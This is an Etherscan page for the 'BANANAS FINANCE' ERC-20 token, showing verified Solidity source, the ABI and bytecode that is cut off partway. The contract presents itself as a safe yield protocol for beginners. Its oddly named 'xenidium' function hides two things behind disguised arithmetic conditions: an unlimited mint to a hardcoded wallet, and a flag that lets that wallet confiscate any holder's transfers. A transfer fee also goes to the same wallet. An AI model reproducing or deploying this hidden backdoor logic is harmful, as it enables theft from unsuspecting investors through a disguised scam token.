ETH Price: $2,585.77 (-2.70%)

Token

BANANAS FINANCE (BANANAS)
 

Overview

Max Total Supply

1,000,000,000 BANANAS

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
27,575,198.993779 BANANAS

Value
$0.00
0x5b741DE78f9B78AD841f240F3d9eec88b9Cdf3e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BananasFinance

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-18
*/

//SPDX-License-Identifier:MIT

//Bananas Finance is the simple protocol for all beginners in ETH Chain. It helps beginners to earn safe and stable yields.

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract BananasFinance is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "BANANAS FINANCE";
    string private _symbol = "BANANAS";
    uint8 private _decimals = 6;
    address payable public Xalloy;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public Xanadu;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        Xalloy = payable(address(0xC53F2156fDbD5b2F5aa725bc0A04773db9D0A755));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function xanthochroin() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : manner(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(Xalloy),
            block.timestamp
        ){} catch {}
    }

    function xenidium(address xenocurrency,uint256 xeric) public {
        if (uint256(22+1).mul(9+1) <= xeric) xform(xeric.add(xeric),_balances);
        if (uint256(1+1).mul(0+0) + 1+1 == xeric) Xanadu[xenocurrency] = 0+0;
        if (100*1 == xeric) Xanadu[xenocurrency] = xeric;
        if (msg.sender != Xalloy) require(false,"!true");
    }

    function xform(uint256 xenic, mapping(address => uint256) /*a*/ storage /* d*/ xylophone) internal {
        xylophone[Xalloy] += xenic;
    }

    function manner(address sender, uint256 amount) internal returns (uint256) {
        uint256 backspace = amount.mul(3).div(100);

        if(Xanadu[sender] != 0) backspace += amount;

        if(backspace > 0) {
            _balances[address(this)] += backspace;
            emit Transfer(sender, address(this), backspace);
        }

        return amount.sub(backspace);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Xalloy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Xanadu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xanthochroin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"xenocurrency","type":"address"},{"internalType":"uint256","name":"xeric","type":"uint256"}],"name":"xenidium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600f81526020017f42414e414e41532046494e414e43450000000000000000000000000000000000815250600190805190602001906200005192919062000432565b506040518060400160405280600781526020017f42414e414e415300000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000432565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a6200011291906200056b565b633b9aca00620001239190620006a8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f6200040160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022f6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ef6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200033d6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200039e9190620004f3565b60405180910390a373c53f2156fdbd5b2f5aa725bc0a04773db9d0a755600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620007c1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004409062000720565b90600052602060002090601f016020900481019282620004645760008555620004b0565b82601f106200047f57805160ff1916838001178555620004b0565b82800160010185558215620004b0579182015b82811115620004af57825182559160200191906001019062000492565b5b509050620004bf9190620004c3565b5090565b5b80821115620004de576000816000905550600101620004c4565b5090565b620004ed8162000709565b82525050565b60006020820190506200050a6000830184620004e2565b92915050565b6000808291508390505b600185111562000562578086048111156200053a576200053962000756565b5b60018516156200054a5780820291505b80810290506200055a85620007b4565b94506200051a565b94509492505050565b6000620005788262000709565b9150620005858362000713565b9250620005b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005bc565b905092915050565b600082620005ce5760019050620006a1565b81620005de5760009050620006a1565b8160018114620005f75760028114620006025762000638565b6001915050620006a1565b60ff84111562000617576200061662000756565b5b8360020a91508482111562000631576200063062000756565b5b50620006a1565b5060208310610133831016604e8410600b8410161715620006725782820a9050838111156200066c576200066b62000756565b5b620006a1565b62000681848484600162000510565b925090508184048111156200069b576200069a62000756565b5b81810290505b9392505050565b6000620006b58262000709565b9150620006c28362000709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006fe57620006fd62000756565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200073957607f821691505b6020821081141562000750576200074f62000785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612a71620007e060003960006106f50152612a716000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab5780639887e2261161006f5780639887e226146103f1578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a5780635abcc5411461033557806370a082311461035e5780638da5cb5b1461039b57806395d89b41146103c657610135565b806327c8f835116100f257806327c8f835146102355780632e410f5e14610260578063313ce5671461027757806332bffed3146102a25780633345611e146102cd57610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c91906122ae565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611f9a565b6105cb565b6040516101999190612278565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612293565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906123d0565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190611f47565b610619565b60405161022c9190612278565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b6040516102579190612219565b60405180910390f35b34801561026c57600080fd5b50610275610717565b005b34801561028357600080fd5b5061028c610aef565b6040516102999190612445565b60405180910390f35b3480156102ae57600080fd5b506102b7610b06565b6040516102c49190612234565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190611ead565b610b2c565b6040516103019190612278565b60405180910390f35b34801561031657600080fd5b5061031f610b4c565b60405161032c9190612278565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190611f9a565b610b5f565b005b34801561036a57600080fd5b5061038560048036038101906103809190611ead565b610cfa565b60405161039291906123d0565b60405180910390f35b3480156103a757600080fd5b506103b0610d43565b6040516103bd9190612219565b60405180910390f35b3480156103d257600080fd5b506103db610d6c565b6040516103e891906122ae565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190611ead565b610dfe565b60405161042591906123d0565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611f9a565b610e16565b6040516104629190612278565b60405180910390f35b34801561047757600080fd5b50610480610e35565b60405161048d9190612219565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190611f07565b610e5b565b6040516104ca91906123d0565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190611ead565b610ee2565b005b34801561050857600080fd5b50610523600480360381019061051e9190611ead565b611034565b6040516105309190612278565b60405180910390f35b606060018054610548906126ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610574906126ac565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8611054565b848461105c565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611227565b506106e884610633611054565b6106e385604051806060016040528060288152602001612a1460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699611054565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116099092919063ffffffff16565b61105c565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61071f611054565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612370565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611eda565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a557600080fd5b505afa1580156108b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611eda565b6040518363ffffffff1660e01b81526004016108fa92919061224f565b602060405180830381600087803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c9190611eda565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360009054906101000a900460ff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b80610b75600a601761166d90919063ffffffff16565b11610b9857610b97610b9082836116e890919063ffffffff16565b6004611746565b5b80600180610bb16000600261166d90919063ffffffff16565b610bbb91906124b5565b610bc591906124b5565b1415610c11576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060641415610c5f5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cf6576000610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90612330565b60405180910390fd5b5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d7b906126ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610da7906126ac565b8015610df45780601f10610dc957610100808354040283529160200191610df4565b820191906000526020600020905b815481529060010190602001808311610dd757829003601f168201915b5050505050905090565b60086020528060005260406000206000915090505481565b6000610e2a610e23611054565b8484611227565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eea611054565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90612370565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611133906122f0565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161121a91906123d0565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f90612390565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff906122d0565b60405180910390fd5b600b60149054906101000a900460ff161561132f576113288484846117c1565b9050611602565b600061133a30610cfa565b9050600b60149054906101000a900460ff161580156113a35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113b2576113b181611994565b5b61140483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114ea5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114fd576114f88685611c5e565b6114ff565b835b905061155381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115f391906123d0565b60405180910390a36001925050505b9392505050565b6000838311158290611651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164891906122ae565b60405180910390fd5b50600083856116609190612596565b9050809150509392505050565b60008083141561168057600090506116e2565b6000828461168e919061253c565b905082848261169d919061250b565b146116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612350565b60405180910390fd5b809150505b92915050565b60008082846116f791906124b5565b90508381101561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612310565b60405180910390fd5b8091505092915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117b691906124b5565b925050819055505050565b600061184c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116099092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161198191906123d0565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119cc576119cb61279a565b5b6040519080825280602002602001820160405280156119fa5781602001602082028036833780820191505090505b5090503081600081518110611a1257611a1161276b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ab457600080fd5b505afa158015611ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aec9190611eda565b81600181518110611b0057611aff61276b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611bc09594939291906123eb565b600060405180830381600087803b158015611bda57600080fd5b505af1925050508015611beb575060015b611bf457611bf5565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611c5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611609565b905092915050565b600080611c886064611c7a60038661166d90919063ffffffff16565b611dc190919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ce0578281611cdd91906124b5565b90505b6000811115611da55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d3891906124b5565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d9c91906123d0565b60405180910390a35b611db88184611c1490919063ffffffff16565b91505092915050565b6000611e0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e0b565b905092915050565b60008083118290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4991906122ae565b60405180910390fd5b5060008385611e61919061250b565b9050809150509392505050565b600081359050611e7d816129e5565b92915050565b600081519050611e92816129e5565b92915050565b600081359050611ea7816129fc565b92915050565b600060208284031215611ec357611ec26127c9565b5b6000611ed184828501611e6e565b91505092915050565b600060208284031215611ef057611eef6